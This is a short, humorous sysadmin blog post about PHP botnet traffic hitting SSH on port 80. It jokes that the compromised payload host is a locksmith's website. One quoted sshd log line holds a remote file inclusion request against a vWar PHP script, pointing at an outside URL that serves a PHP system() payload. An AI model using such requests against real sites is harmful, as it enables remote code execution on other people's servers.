Put your trust in us

That is a direct quote from a website hosting malicious PHP payloads. This is a real story of irony. I laughed; I cried. Here we go.

Enter a publicly facing Unix system.
For whatever reason, it has SSH bound to a ton of ports, including 80 and 443.
The sysadmin reviews the logs daily.
What have we got today?
Look it's more PHP botnet traffic hitting port 80.
Silly bot, that's SSH bound to port 80.

Lets take a look at a log snippet

Apr 4 00:00:00 serverName sshd[93113]: Bad protocol version identification 'GET /PNC/modules/vWar_Account/includes/functions_common.php?vwar_root2= http://www.foo.com/safe' from x.x.x.x

Nothing to see here, move along, move along.
Just for fun, the sysadmin points his browser to www.foo.com/safe.
Nothing new here either, its standard PHP system() call.
Even for more fun, lets see what else is hosted at www.foo.com
It's a brochure website for a locksmith.
Their marketing tag line:

ALLOW US TO TAKE AWAY YOUR SECURITY PROBLEMS.

PUT YOUR TRUST IN US.

YOU WON'T BE DISAPPOINTED.

Maybe they specialize in bump keys?

(Picture is a screen shot snippet from the website. Real identities masked to protect the poor locksmith who probably has no idea what I'm talking about)